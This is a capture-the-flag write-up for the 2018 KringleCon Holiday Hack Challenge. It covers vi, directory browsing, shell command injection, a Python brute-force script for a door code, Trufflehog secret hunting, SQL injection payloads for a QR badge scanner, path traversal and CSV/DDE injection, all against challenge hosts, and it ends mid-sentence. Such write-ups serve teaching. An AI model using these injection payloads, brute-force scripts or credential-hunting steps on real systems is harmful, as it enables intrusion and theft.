Documenti di Didattica
Documenti di Professioni
Documenti di Cultura
2018 Report
Jevan Gray
Wayne Fischer
Table of Contents
Quick Answers 2
Objectives 3
1
Quick Answers
Answer 1: Happy Trails
Answer 4: Yippee-ki-yay
Answer 5: LDUBEJ00320@AD.KRINGLECASTLE.COM
Answer 6: 19880715
Answer 9: Congratulation! Snort is alerting on all ransomware and only the ransomware!
2
Objectives
Objective One - Orientation Challenge
What phrase is revealed when you answer all of the questions at the KringleCon Holiday Hack History kiosk (Figure 1)
inside the castle? For hints on achieving this objective, please visit Bushy Evergreen and help him with the Essential Editor
Skills Cranberry Pi terminal challenge (Figure 2).
Clicking on the KringleCon Kiosk presents us with a series of multiple-choice questions. Watching Ed Skoudis’
talk here https://youtu.be/31JsKzsbFUo provides the answers we need for the questions. Alternatively, visiting
https://holidayhackchallenge.com/past-challenges/ you can peruse previous competitions and learn the answers and
hone your skills further when you attempt the challenges yourself!
Figure 2. Bushy Evergreen and the Essential Editor Skills Cranberry Pi Terminal.
Bushy has been snowed by his lack of essential editor knowledge. One learns quickly that while working in
system administration and cybersecurity fields learning how to use the editor, vi, is certainly essential. Bushy says
3
He gave me a link, I'm supposed to learn the basics.
Can you assist me with one of the simple cases?
Pepper is pushing vi knowledge because the editor vi is present on any Unix, Linux, or other operating system which is
POSIX compliant. The Portable Operating System Interface (e.g. POSIX) standard is an international standard adopted by
UNIX or UNIX-like operating systems for interoperability. It’s a good standard for operating systems to meet, especially
if designers don’t want to turn elf system administrators and programmers into angry munchkins by lacking this
standard. Because vi is part of this standard, it’s going to ALMOST always be present on a system you want to use to
edit files. For this reason, it’s essential, so learning how to use it can save you some pain and time.
The editor vi has two operating modes, command mode, and insert mode. During insert mode typed keys will
become part of the document. During command mode, typed keys are interpreted as commands for vi. In order to exit
the vi editor, you must be in command mode (often achieved by pressing the ESC key if we are in Insert mode. Then
enter the command preceded by a colon, :, followed by the letter q, for Quit. To enter Insert mode, you can press the
“i” key. When we log into Bushy’s Cranberry Pi terminal, we see the vi editor loaded (Figure 3) as indicated by the “All”
in the bottom right. Random fact, the vim editor takes the colon because of it’s history with the ‘ed’ editor
(https://twobithistory.org/2018/08/05/where-vim-came-from.html)
We know we are not in Insert mode because the vi editor will show the words “INSERT” in the bottom left of the
editor when in Insert mode. Therefore, typed commands will be interpreted as commands for vi. Typing a “:q” and
pressing enter quits the terminal successfully. In some cases, we want to save what we entered thus we type “:wq” in
command mode to “Write” and then “Quit” vi. Another command sequence to quit is “:q!” which will discard changes
and quit without verifying changes. Any of these commands completes this terminal challenge (Figure 4).
4
Figure 4. Successful challenge screen for Essential Editors terminal challenge.
The term “Directory Browsing” often refers to the features of a web server where visitors can browse the
contents of a web server much like we would see when browsing a folder/directory in Microsoft Windows’ Explorer
application. An improperly configured web server will allow this, but typically we would not want to allow users to
browse files, but rather present them with specific web pages with links to click through our website. When visiting the
website we see the following site presented (Figure 5). The first thing we do when visiting a site to find vulnerabilities is
to search the source code, right-click on the webpage and select “View Source” from Mozilla Firefox.
5
Figure 5. Kringlecon's cfp.kringlecastle.com homepage.
I like to view source to discover any comments or other information that may be left over from when the webpage was
created, or to see what kind of paths the web server uses. Server paths can often be found within href, src, or url tags,
to name a few. In this case we found the following link tags
1. href="layout/styles/layout.css"
2. href="/index.html"
3. href="/cfp/cfp.html"
4. style="background-image:url('images/background1.jpg');"
5. src="layout/scripts/jquery.min.js"
We’re interested in the paths, rather than the actual files (e.g. layout/styles/, /,layout/scripts/, /cfp/, and images/). We
can take these paths and add them to the website url to try and perform Directory Browsing. We have Directory
Browsing success by adding /cfp to the website URL (Figure 6).
6
Figure 6. Successful directory browsing shown for the cfp.kringlecastle.com website.
Directory Browsing allows us to see a rejected-talks.csv file; this sure sounds like a file which contains
information related to the objective question. To view the file while Directory Browsing we click it! A list of information
shows up of rejected talks. Now we do a simple keyword search using my web browser by pressing CTRL+F and search
for “Rainbow” and I’m taken to the rejected talk with my answer (Figure 7). The name of the speaker is John McClane;
we hope his ego doesn’t, DIE HARD…..oh my, I’m sorry, we couldn’t resist.
7
When we open the Cranberry Pi terminal we are presented with the following screen (Figure 9) and if we talk to Minty
she says
This is a potent tip. For starters, we know, assuming Minty hasn’t sipped too much of Santa’s special egg nog, that it’s
using Microsoft’s PowerShell, which is a powerful programming languages often used on Microsoft operating systems.
Additionally, she shares that handling user input can be tricky, especially special characters &, and ;. One of the most
common exploits for code is unsanitized user inputs. So much so that “Injection” remains the number one gotcha for
exploits on the Open Web Application Security Project (OWASP) which provides helpful information and rankings of
vulnerability categories (see https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project). So, I’m going to
begin by trying to inject some special characters into the two options presented, starting with this “Verify the System”
option.
Pressing the number 2 brings up a prompt for us to enter a hostname. We don’t know the hostname, but can try
to enter “localhost” which should resolve to the computer we are on (e.g. 127.0.0.1). This succeeds and pings the
8
localhost, displays the output, and it also shares some information about the database being used, which is onboard.db
and it is a SQLite 3 database (Figure 10).
Figure 10. Output showing the ping of localhost on The Name Game programs option 2.
Remembering Minty’s tip, we try adding another command after the localhost ping by adding a semi-colon after
localhost and then trying to list the directory information with the –l (long) –a (all) flags.
localhost; ls –la
This succeeds! So there is no sanitization of input. This server is ripe for pwnage. We don’t really want to see the ping
output so I’ll direct that output to nowhere land with the > /dev/null output redirection then execute my command of
ocalhost > /dev/null; ls -la
choice: l
This succeeds by listing all the contents of the current directory (Figure 11).
Figure 11. Output executing ls -la following a ping command with output redirected to /dev/null on Minty's terminal option 2.
Now that we know we can run commands, and that we have a SQLite database, let’s try to run SQLite 3 to get some
information to look at the database and find out the answer to Minty’s question by replacing our list command with a
sqlite3 command; this succeeds dropping us into a SQLite3 prompt (Figure 12).
9
Figure 12. Running SQLite3 on Minty's terminal by exploiting option 2 server verification.
At this point, we know the database name is onboard.db and it is in the current directory. So we can research
some SQLite commands to open a database file, show us information about a database, and get information from a
database. Now, Minty says she knows about the .dump command, but this command dumps all the database
information forcing me to comb through it; whereas I’d rather just have the correct answer by executing a proper query.
So running the commands .open onboard.db followed by .schema to show what tables are in the database and finally a
select statement to query for the correct information (Figure 13) gives us the correct answer, Scott.
We now need to execute the runtoanswer program we saw in the directory listing earlier, but first we need to
quit out of SQLite3 with the .quit command. We can replace our earlier slqite3 command with runtoanswer which
presents the program prompt. Inputting the answer Scott completes the challenge. (Figure 14).
10
Figure 14. Minty’s terminal challenge runtoanswer prompt and successful completion message.
Finding and speaking with Tangle, he asks for help to do some Forensic review of the vim editor in the terminal.
Once this task is complete he provides information about the door lock when you talk to him. He mentions de Bruijn
Sequences and provides some hints on learning more about them. He also refers us to the door code on the door which
can be cracked using a de Bruijn Sequence. One of the URLs we are sent to is http://www.hakank.org/comb/debruijn.cgi
and Tangle conveniently provided us with the K value for the length of the “alphabet” which is 4, and the length of the
“PIN” is 4. Additionally, Tangle provides an interesting article in the link
https://hackaday.com/2018/06/18/opening-a-ford-with-a-robot-and-the-de-bruijn-sequence/ which describes using de
Bruijn sequences.
Figure 15. Google Chrome Devcode tool showing Doorcode challenge URL and parameters
I can create a Python script which quickly passes four numbers and reads the returned success message to determine
the passcode. Fortunately for us, Tangle provided a link to the car hacking post which includes another link to a Python
program called DeBruijn.py which we can use to generate our sequence, or any other Python flavored script.
The following is the Python 3 code created to brute force the password against the website.
import urllib.request
import urllib.parse
import json
# https://doorpasscode.kringlecastle.com/checkpass.php?i=testVALUE&resourceId=undefined
mySequence="333300001000200030011001200130021002200230031003200330101020103011101120113012101220123
013101320133020203021102120213022102220223023102320233030311031203130321032203230331033203331111211
1311221123113211331212131222122312321233131322132313321333222232233232"
def PostData(str):
url='https://doorpasscode.kringlecastle.com/checkpass.php'
values = { 'i':str,
'resourceId':'undefined'}
user_agent='Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko/20100101 Firefox/64.0'
headers = {'User-Agent': user_agent, 'Referer': 'https://doorpasscode.kringlecastle.com/'}
url_values=urllib.parse.urlencode(values)
full_url=url+'?'+url_values
with urllib.request.urlopen(full_url) as response:
string=response.read().decode('utf-8')
jsonDoorCodeMessage=json.loads(string)
#return the websites message value in JSON converted to string
return jsonDoorCodeMessage['message']
After running the code we find the Door Code is 0120 or Triangle, Square, Circle, Triangle in about 22 attempts which
lets us in the door to talk to Morcel Nougat to obtain the answer.
As an alternative to manually entering the sequence or using some code/tool to automate the guesses to checkpass.php,
we can also automate entering the sequence at the browser-level by using the browser’s built-in Javascript console.
Looking at the source for https://doorpasscode.kringlecastle.com, on lines 14 -20, we can see that the button pushes
end up calling the addShape() function with the parameters 0 - 3 for each of the buttons…
We can wrap each of the DeBruijn sequence values in a call to addShape(), and then use the browser console to
automate the button pushes.
0 0 0 0 1 0 0 0 2 0 0 0 3 0 0 1 1 0 0 1 2 0 0 1 3 0 0 2 1 0 0 2 2 0 0 2 3 0 0 3 1 0 0 3 2 0 0 3 3 0
1 0 1 0 2 0 1 0 3 0 1 1 1 0 1 1 2 0 1 1 3 0 1 2 1 0 1 2 2 0 1 2 3 0 1 3 1 0 1 3 2 0 1 3 3 0 2 0 2 0
3 0 2 1 1 0 2 1 2 0 2 1 3 0 2 2 1 0 2 2 2 0 2 2 3 0 2 3 1 0 2 3 2 0 2 3 3 0 3 0 3 1 1 0 3 1 2 0 3 1
3 0 3 2 1 0 3 2 2 0 3 2 3 0 3 3 1 0 3 3 2 0 3 3 3 1 1 1 1 2 1 1 1 3 1 1 2 2 1 1 2 3 1 1 3 2 1 1 3 3
1 2 1 2 1 3 1 2 2 2 1 2 2 3 1 2 3 2 1 2 3 3 1 3 1 3 2 2 1 3 2 3 1 3 3 2 1 3 3 3 2 2 2 2 3 2 2 3 3 2
3 2 3 3 3 3 0 0 0
And wrap it in addShape() calls with the following vim substitution command: :s/(\d)/addShape(\1);/g
13
addShape(0); addShape(1); addShape(1); addShape(2); addShape(0); addShape(1); addShape(1);
addShape(3); addShape(0); addShape(1); addShape(2); addShape(1); addShape(0); addShape(1);
addShape(2); addShape(2); addShape(0); addShape(1); addShape(2); addShape(3); addShape(0);
addShape(1); addShape(3); addShape(1); addShape(0); addShape(1); addShape(3); addShape(2);
addShape(0); addShape(1); addShape(3); addShape(3); addShape(0); addShape(2); addShape(0);
addShape(2); addShape(0); addShape(3); addShape(0); addShape(2); addShape(1); addShape(1);
addShape(0); addShape(2); addShape(1); addShape(2); addShape(0); addShape(2); addShape(1);
addShape(3); addShape(0); addShape(2); addShape(2); addShape(1); addShape(0); addShape(2);
addShape(2); addShape(2); addShape(0); addShape(2); addShape(2); addShape(3); addShape(0);
addShape(2); addShape(3); addShape(1); addShape(0); addShape(2); addShape(3); addShape(2);
addShape(0); addShape(2); addShape(3); addShape(3); addShape(0); addShape(3); addShape(0);
addShape(3); addShape(1); addShape(1); addShape(0); addShape(3); addShape(1); addShape(2);
addShape(0); addShape(3); addShape(1); addShape(3); addShape(0); addShape(3); addShape(2);
addShape(1); addShape(0); addShape(3); addShape(2); addShape(2); addShape(0); addShape(3);
addShape(2); addShape(3); addShape(0); addShape(3); addShape(3); addShape(1); addShape(0);
addShape(3); addShape(3); addShape(2); addShape(0); addShape(3); addShape(3); addShape(3);
addShape(1); addShape(1); addShape(1); addShape(1); addShape(2); addShape(1); addShape(1);
addShape(1); addShape(3); addShape(1); addShape(1); addShape(2); addShape(2); addShape(1);
addShape(1); addShape(2); addShape(3); addShape(1); addShape(1); addShape(3); addShape(2);
addShape(1); addShape(1); addShape(3); addShape(3); addShape(1); addShape(2); addShape(1);
addShape(2); addShape(1); addShape(3); addShape(1); addShape(2); addShape(2); addShape(2);
addShape(1); addShape(2); addShape(2); addShape(3); addShape(1); addShape(2); addShape(3);
addShape(2); addShape(1); addShape(2); addShape(3); addShape(3); addShape(1); addShape(3);
addShape(1); addShape(3); addShape(2); addShape(2); addShape(1); addShape(3); addShape(2);
addShape(3); addShape(1); addShape(3); addShape(3); addShape(2); addShape(1); addShape(3);
addShape(3); addShape(3); addShape(2); addShape(2); addShape(2); addShape(2); addShape(3);
addShape(2); addShape(2); addShape(3); addShape(3); addShape(2); addShape(3); addShape(2);
addShape(3); addShape(3); addShape(3); addShape(3); addShape(0); addShape(0); addShape(0);
We can Copy/Paste the commands into the browser’s console to make the javascript code guess every code
for us. It won’t stop at the correct code, so it will continue trying every code even after entering the correct one,
but we can look at the browser’s network activity log to find the request that has a different length from the rest
to find the correct code.
14
Figure 16. Tangle Coalbox's Cranberry Pi terminal.
When we open the terminal (Figure 17) tangle let’s us know that the editor used is vim and that text editors leave some
clues. These clues are often hidden in Linux hidden folders in a user’s home directory. So we put in the command ls
-la and see a .viminfo file, a .secrets folder and a runtoanswer script we will use to issue our answer. The .viminfo file
holds information from vim sessions, including a history of work done which can help us with our forensic analysis.
15
Figure 17. Login script from Tangle Coalbox's Lethal ForensicELFication challenge.
If we review .viminfo with a more .viminfo command we can see what was done. We quickly see that the name
Elinore was searched for and replaced by NEVERMORE. Reviewing the .secrets/her/poem.txt file we see the final
product with NEVERMORE substituted for Elinore. So our answer is Elinore. Running runtoanswer and putting in the
name Elinore successfully completes our challenge (Figure 18).
Figure 18. Screenshot showing Lethal ForenELFication answer and challenge success.
For this challenge we need to get the encrypted ZIP file from a Git repository. Visiting the website where it’s
hosted we find more information about the challenge and instructions on how to use Git to obtain the
santas_castle_automation program. There are hints on the Git page that Redberry elf’s Linux keys were left in the
project. Leftover passwords, private keys, and other sensitive information is a common problem with cloud-hosted
solutions and with Git that have been occurring over the years. But where’s the zip file? Our first task, search the
repository for “zip”. We find a file called schematics_ventilation_diagram.zip which when opened, sure enough it’s
password protected.
A Git repository contains a history of all changes. Removing the file (git rm) from the latest commit and updating the
current version of the repository will only remove sensitive files in the latest active branch of that repository.
Unfortunately, they will remain in the history for anyone else to see so that were people to clone your repository they
will obtain these sensitive files as part of the repository history (see
https://help.github.com/articles/removing-sensitive-data-from-a-repository). We can use the git filter-branch or a
program called BFG Repo-Cleaner to remove unwanted data throughout the repo history. But the fact remains, that if
you had a public accessible repository (like we do for this challenge) anyone who previously cloned the repository still
has a copy of that sensitive data. It is this data we cloned by following the instructions from the North Pole Git
repository instructions to search through with a tool. Fortunately for us, Wunorse’s gratitude for helping him with his
Stall Mucking Report recommended a tool called Trufflehog available at https://github.com/dxa4481/truffleHog which
automates searching for sensitive files. The command executed to search after obtaining Trufflehog and with entropy
checking set to True, as suggested by Wunorse, is:
Running this against the North Pole Git Repository yields plenty of sensitive data including a password (Figure 19) and
also a private key which may be useful for later, so we’ll save that. However, the password is actually discovered
because of the high-entropy of the Change ID, so what luck we had finding it with Trufflehog! Without the entropy flag,
we do not discover the password.
17
Figure 19. Password found as a result of running Trufflehog against North Pole Git Repository.
Out of curiosity I’ll try to connect to the North Pole Git Repository trying both the private key and the password we
found and using SSH. To save the private key, we can either copy the entire block of random looking text and the lines:
Then we can open a text editor and paste the private key to our own computer, as for example,
my_northpole_private_key.rsa. Or for an easier approach, search for the commit hash on the repository
7f46bd5f88d0d5ac9f68ef50bebb7c52cfa67442 then view and download the file directly
(https://git.kringlecastle.com/Upatree/santas_castle_automation/blob/c376f995b44caf502992ddb617a34e7d38d7bbc1
/schematics/files/dot/ssh/key.rsa). Attempting to use ssh to authenticate with my saved private key as our method of
authentication (e.g. logging into the repo) does not work, but we do confirm that only keys are accepted, so the
password would not work.
On to the challenge of unzipping the ZIP file with the password Yippee-ki-yay which we found with Trufflehog earlier.
We find it successfully unzips them (Figure 20). We can use this map to navigate to Santa’s secret room and bypass the
badge scanner by clicking the ventilation shaft next to the Google Kiosk and entering the maze.
18
Figure 20. Screenshot showing ventilation Diagrams successfully unzipped from North Pole Repositories schematics_ventilation_diagram.zip.
In the main lobby on the bottom floor of Santa's castle, Hans calls everyone around to deliver a speech. Make sure
you visit Hans to hear his speech.
19
Figure 21. Wunorse Openslae's terminal challenge.
It sounds like we’ll need to analyze running processes and memory to find out the password in order to upload
report.txt to a samba share. The hint received by talking to Wunorse links to
https://blog.rackspace.com/passwords-on-the-command-line-visible-to-ps which discusses seeing passwords in running
processes. Unfortunately when we execute a ps (http://man7.org/linux/man-pages/man1/ps.1.html) with the flags a for
all processes, and u to see the userlist processes our commands are cut off by the terminal width. There are a couple
ways to work around this limitation, one being adding the ww argument to allow the output to use unlimited width. We
can also redirect output to a file by instead executing a ps au > psdump.txt to output all information without
being clipped off to psdump.txt which we can review to see any hidden information, like passwords. Using this we hit
paydirt, as a sambawrapper.sh script appears to have a password in it directreindeerflatterystable. How did we know
this was a password? Well, it requires experience, which we know that when analyzing the script here that the user
used is report-upload and so the password and username are typically together. Also running a ls /home shows the
following users: elf, manager, report-upload. And finally, we can review /etc/passwd to see a list of users as well in
which we see a user named report-upload.
The answer to our challenge is achieved by executing the following command to upload a file with the program
smbclient (for more information about smbclient see
https://www.samba.org/samba/docs/current/man-html/smbclient.1.html
smbclient -U report-upload%directreindeerflatterystable
//localhost/report-upload/ -c 'put "report.txt"'
20
Figure 22. Stall Mucking Report Terminal Challenge Success Message.
Wunorse now provides us some additional hints for the fourth challenge:
Thank goodness for command line passwords - and thanks for your help!
Speaking of good ways to find credentials, have you heard of Trufflehog?
It's a cool way to dig through repositories for passwords, RSA keys, and more.
I mean, no one EVER uploads sensitive credentials to public repositories, right? But if they did, this would be a great
tool for finding them.
But hey, listen to me ramble. If you're interested in Trufflehog, you should check out Brian Hostetler's talk!
Have you tried the entropy=True option when running Trufflehog? It is amazing how much deeper it will dig!
For this challenge we’re provided with a virtual server in an HHC2018-DomainHack_2018-12-19.ova file. An
.ova file is a portable version of a virtual machine which can be loaded into a program such as VMWare, or Oracle Box.
We chose to use VMWare to open the virtual machine image. This can be done by downloading the file to your local
computer, and then opening VMWare and clicking File Open. The we navigate to our .ova file and click Open. Review
the settings and then click “Import”.
After booting the machine, we are automatically logged into a session as the user kris (Kris Kringle) and there is a
shortcut to BloodHound on the desktop.
21
Figure 23. Desktop from booted VM image
Running BloodHound, we can see that the data set is already loaded. Using the Menu and search bar in the upper left,
we can select the Queries section to view and select from some pre-defined queries. Looking through, we see the
“Shortest Paths to Domain Admins from Kerberoastable Users” query and select it.
Figure 24. Selecting the “Shortest Paths to Domain Admins From Kerberoastable Users” query
22
After the query runs, we are shown the paths from five Kerberoastable Users to Domain Admin; But when we exclude
the ones that depend on RDP (“CanRDP”), we are left with only one user, our answer,
LDUBEJ00320@AD.KRINGLECASTLE.COM.
Figure 25. Results of the “Shortest Paths to Domain Admins From Kerberoastable Users” query, highlighting the path without RDP
When we log into the terminal we are presented with a screen telling us that to complete the challenge we need to
submit the right HTTP request to http://localhost:8080/ which we are informed is using the web server nginx and using
the configuration file located here: (/etc/nginx/nginx.conf).
23
Figure 26. CURLing Master Terminal Challenge login screen.
user www-data;
worker_processes auto;
pid /run/nginx.pid;
include /etc/nginx/modules-enabled/*.conf;
events {
worker_connections 768;
# multi_accept on;
}
http {
sendfile on;
tcp_nopush on;
tcp_nodelay on;
keepalive_timeout 65;
types_hash_max_size 2048;
# server_tokens off;
# server_names_hash_bucket_size 64;
# server_name_in_redirect off;
include /etc/nginx/mime.types;
default_type application/octet-stream;
server {
# love using the new stuff! -Bushy
listen 8080 http2;
# server_name localhost 127.0.0.1;
root /var/www/html;
24
location ~ [^/]\.php(/|$) {
fastcgi_split_path_info ^(.+?\.php)(/.*)$;
if (!-f $document_root$fastcgi_script_name) {
return 404;
}
##
# Logging Settings
##
access_log /var/log/nginx/access.log;
error_log /var/log/nginx/error.log;
##
# Gzip Settings
##
gzip on;
gzip_disable "msie6";
# gzip_vary on;
# gzip_proxied any;
# gzip_comp_level 6;
# gzip_buffers 16 8k;
# gzip_http_version 1.1;
# gzip_types text/plain text/css application/json application/javascript text/xml application/xml
application/xml+rss text/javascript;
##
# Virtual Host Configs
##
include /etc/nginx/conf.d/*.conf;
include /etc/nginx/sites-enabled/*;
}
From the configuration file we see that Bushy has put a comment in there configuring the service to listen on port 8080
using http2 (8080 http2;). We need to send a curl request to port 8080 and specify http2. Alternatively, using the
history command we can see the proper parameter for the first basic request (e.g. curl --http2-prior-knowledge
http://localhost:8080/index.php) If we use a –help flag on curl we can see that there is an –http2 flag we can pass and
when we execute the command we are given instructions on how to turn on the machine (Figure 24).
25
Figure 27. Searching curl’s help for http2 optinos.
Assuming we don’t know what a POST means, and searching the help for curl again we see a few flags for post.
Combining the --http2 flag with the -d flag and a parameter of “status=on” to localhost:8080 may work.
26
Figure 29. CURLing Master challenge success message.
After helping Holly, she now has some hints for us for Challenge number five
27
The Badge-scan-o-matic is beyond and to the left of Pepper Minstix as shown in Figure 27. Fortunately, we have a
sample of the badge we need, which uses a QR code (Figure 28).
QR Codes are useful to store lots of information which is converted into text by using the mix of white space and black
space to convert them into information, data, or text. QR codes have a standard, so we’ll need to understand the
standard and how they convert to text first, then generate our own QR code (with a tool) with a SQL Injection to bypass
the scanner. Uploading our sample to https://zxing.org/w/decode we successfully decode the QR Code into the text
oRfjg5uGHmbduj2m. Umm, okay, so it looks like the QR code is just a string of characters, likely a unique password or
token for a user. I’m guessing the password is parsed so we can generate a SQL Injection string, create a QR Code and
upload that to the badge-scan-o-matic. Using a website (https://www.the-qrcode-generator.com/) to create our QR
Codes first I’ll try the following text
which prints the following error message across the scrolling LED looking output:
This was a SQL conditional query, however, we are provided a lot of information by this error. For starters, we know we
have a MariaDB server. We also know that there are values of first_name, last_name, authorized, and enabled and
that the table name is employees. We can also see that the QR Code text is extracted and put into a user_info query
string and passed to the query as a uid=’{}’. It’s always a good idea to ensure that web-based queries do not provide
information to an attacker in a production environment, otherwise, what we’re about to do can occur. We’re going to
craft our query for MariaDB, encode it as a QR image, upload it and try to bypass the scanner. After a few different SQL
Injection attempts we find commenting out the rest of the query with a # and ensuring the account is enabled is our
winner.
MariaDB is similar to MySQL syntax, and it uses either a #, --, or /* */ for comments
(https://mariadb.com/kb/en/library/comment-syntax/). Injecting the value ' OR enabled# passes the query SELECT
first_name,last_name,enabled FROM employees WHERE authorized = 1 AND uid = '{‘ OR enabled# which is
28
commenting out the rest of the query syntax LIMIT 1\ which bypasses the authentication. Another solution was to add
to the query
' UNION SELECT first_name,last_name,enabled FROM employees WHERE authorized=1 AND enabled=1 AND '1'='1
We can see the returned message on the LED or by using Chrome’s Developer tools and reviewing the response which
returns the Control number for the challenge: 19880715
For this challenge we need to analyze a Windows log file and find (grep) the name of the Elf Web Access account which
was a victim of password spraying. When we login to the terminal we are presented with the following screen:
29
Figure 32. Yule Log Analysis terminal challenge login and welcome message.
In the current directory we see a ho-ho-no.evtx Windows log file and a evtx_dump.py Python script. Attempting to run
the script with a traditional –help yields the following usage notes:
30
Figure 33. Yule Log Analysis showing evtx_dump.py help options and home folder contents.
To use this script we type evtx_dump.py ho-ho-no.evtx or python evtx_dump.py ho-ho-no.evtx or ./evtx_dump.py
ho-ho-no.evtx. This produces a lot of xml output. We’re interested in the successful logins, failed logins, and which
systems are involved. If we don’t know anything about password spraying, or how it works a good blog talks about it
here: https://www.ziemba.ninja/?p=66 and discusses how to detect it.
For this analysis, first let’s save our output to a text file to reduce the amount of time it takes to work with the data by
not having to use the Python script each time with evtx_dump.py ho-ho-no.evtx > xml-parsed-log.txt and now we can
quickly search through a text file of the xml log output. We search for the Windows event number which indicates a
successful/failed login (4624 or 4625) and also show which lines in the log are around the events with context (e.g. -C
flag on grep): grep -C 30 "4624" xml-parsed-log.txt. This gives us a list of successful logins which we can sort and count
with grep -A 20 "4624" xml-parsed-log.txt | grep "TargetUserName" | sort | uniq -c which produces this output (note
the -A causes grep to output 20 lines after the discovered value of 4624).
31
Figure 34. Yule Log Analysis showing parsed log contents output with uniq, sort and grep for “TargetUserName”.
We can see that the most successful logins were for TargetUserName accounts of HealthMailboxXXXXXXXX, SYSTEM,
DWM-1, Administrator, NETWORK SERVICE, and minty.candycane, and a few elf names. It stands to reason that a
successful sprayer would identify the account first, then login with that account, so our likely account is Minty
Candycane.
Another method to identify spraying and a possible account compromise to identify the spraying time range by looking
for many failed logins around the same time frame that have one attempt per username (using SourceIP where it’s the
same can be useful here) and then look for the success that was in the that spraying period.
Figure 35. Yule Log Analysis runtoanswer and Minty Candycane input as answer.
It looks like it was in fact Minty Candycane as we succeed in the terminal challenge!
32
Figure 36. Yule Log Analysis runtoanswer challenge completion message.
Now Pepper Minstix has some hints for our challenge, there is a SQL Injection bug on the badge-scan-o-matic, so that
sounds like our avenue of attack:
Well, that explains the odd activity in Minty's account. Thanks for your help!
All of the Kringle Castle employees have these cool cards with QR codes on them that give us access to restricted
areas.
Unfortunately, the badge-scan-o-matic said my account was disabled when I tried scanning my badge.
I really needed access so I tried scanning several QR codes I made from my phone but the scanner kept saying
"User Not Found".
I researched a SQL database error from scanning a QR code with special characters in it and found it may contain
an injection vulnerability.
I was going to try some variations I found on OWASP but decided to stop so I don't tick-off Alabaster.
For this challenge we need to compromise the website specified in order to read the file
candidate_evaluation.docx which is located in Windows’ root directory. Sparkle Redberry will give hints if we help them
with the terminal challenge Dev Ops Fail. First let’s do a visit to the website and open Developer Tools (Figure 33).
33
Figure 37. Chrome developer tools open with web form at https://careers.kringlecastle.com.
We see here that we are asked to put in our name, phone number, an email, and then attach a CSV (Comma Separate
Value file). It’s likely that the CSV file is parsed and this is where we can gain action, because parsers are ripe for
pwnage. Also, it’s always good to review the raw HTML for comments (or hints in this case) because sometimes
developers leave key information which is ignored when a web page is displayed but shows up when reviewing the
HTML directly. In this case, we got bumpkis for the primary page, but we do see some paths to experiment with,
including /static/js and of particular interest is the <script src="/static/js/postrequest.js"></script> line in the website
which seems to process our submission or POST request. Trying to navigate to
https://careers.kringlecastle.com/static/js/ provides a 404 error message from the web server telling us to try:
https://careers.kringlecastle.com/public/'file name you are looking for' which may be exploitable via directory path
traversal (Figure 34).
34
Figure 38. Error message received from 404 error on https://careers.kringlecastle.com/static/js.
It’s not a good idea to tell visitors your directory structure here showing C:\careerportal\resources\public\ as now we
know there is a /public web folder and it maps to C:\careerportal\resources\public. Trying to get our file of interest
using directory traversal tricks passing
https://careers.kringlecastle.com/..%2F..%2F..%2F..%2Fcandidate_evaluation.docx by URL encoding
../../../../candidate_evaluation.docx does not get us our document, but it does return a 400 Bad Request error, and
tells us that the webserver is running nginx version 1.14.1 which was released on 04 December 2018 which doesn’t have
any useful vulnerabilities according to https://www.cvedetails.com/vulnerability-list/vendor_id-10048/Nginx.html.
Drats, looks like it’s on to uploading malicious CSV files and hoping to exploit the parser/csv processing script. If you got
stuck on this one, Sparkle RedBerry drops the…berry, but sharing that there’s a CSV Injection exploit. A quick google
search of OWASP CSV Injection yields a CSV injection page. The first link here Comma Separate Vulnerabilities takes us
to a page discussing the technique. What catches my eye is this gem using Dynamic Data Exchange to call a Windows
command which opens calculator when a CSV is viewed, maybe it’ll do more than that.
This seems like a way we can exploit that Public folder we found earlier at C:\careerportal\resources\public by copying a
file from where we already know the file is to the other directory. Let’s try to create a .csv file with just a command to
do this and see what happens
I save this command in a plain text document named my_resume.csv and upload it to the career portal. Then we try to
navigate to our file at https://careers.kringlecastle.com/public/candidate_evaluation.docx and woohooo something
downloads (Figure 35)!
35
Figure 39. Showing target file downloaded in Chrome.
Opening this up shows it’s our target and the terrorist organization we are looking for is Fancy Beaver (Figure ##).
Logging into the terminal we are presented with a task to see if we can discover her password to unmask…this rhyming
thing is catching. Anyway. The terminal login shows us the following
36
Figure 41. Dev Ops fail Cranberry Pi terminal login message.
So we’ll need to dig into Git. Let’s see what we find with a listing of the current directory
elf@1f7e247dc9f1:~$ ls -la
total 5832
drwxr-xr-x 1 elf elf 4096 Dec 14 16:30 .
drwxr-xr-x 1 root root 4096 Dec 14 16:30 ..
-rw-r--r-- 1 elf elf 220 May 15 2017 .bash_logout
-rw-r--r-- 1 elf elf 1836 Dec 14 16:13 .bashrc
-rw-r--r-- 1 elf elf 675 May 15 2017 .profile
drwxr-xr-x 1 elf elf 4096 Nov 14 09:48 kcconfmgmt
-rwxr-xr-x 1 elf elf 5944352 Dec 14 16:13 runtoanswer
We’ve got some standard login bash stuffs, and a runtoanswer executable, as well as a kcconfmgmt folder. That must
be our local Git repository so we change to that directory. Searching through a git repository for a string should help us.
To do this we type git log -S<string> where <string> is the string we want to search. Performing this lands up some
goodies, including the hash of the commit where Sparkle got busted for having a password in the repository (Figure 38).
37
Figure 42. Results of git log -Spassword on Dev Ops Fail Cranberry Pi terminal.
You may note that each change has a commit line followed by numbers and letters. This is the unique hash for the
updates in the repository. How do we see what happened in commit 60a2ffea7520ee980a5fc60177ff4d0633f2516b?
We could time-warp to the state it was in with a command of git checkout <commit-id> where it’s that unique hash, or
even easier, we just type git show 60a2ffea7520ee980a5fc60177ff4d0633f2516b and the differences are shown (Figure
39.) Note: This would be ugly and large for a large repository or commit with lots of changes and may require using grep
on the output after the fact. Our differences (in red) show a beautiful line with a mongodb connection with a password
of twinkletwinkletwinkle.
38
Figure 43. Differences from performing a git show on commit found removing passwords.
When we submit this answer to the runtoanswer wizard…we find success (Figure 40).
Figure 44. Dev Ops Fail Cranberry Pi answer and success message.
Sparkle shares her thanks by failing her Social Engineering test…Do elves have a gender? Eh, no matter. We love them
all equally.
Oh my golly gracious - Tangle was right? It was still in there? How embarrassing!
Well, if I can try to redeem myself a bit, let me tell you about another challenge you can help us with.
I wonder if Tangle Coalbox has taken a good look at his own employee import system.
It takes CSV files as imports. That certainly can expedite a process, but there's danger to be had.
I'll bet, with the right malicious input, some naughty actor could exploit a vulnerability there.
I'm sure the danger can be mitigated. OWASP has guidance on what not to allow with such uploads.
Visiting the website, we are presented with a logon screen for “Packalyzer” (Figure ##). Opening Chrome
developer tools and reloading the page shows some interesting named javascript scripts, page errors, as well as some
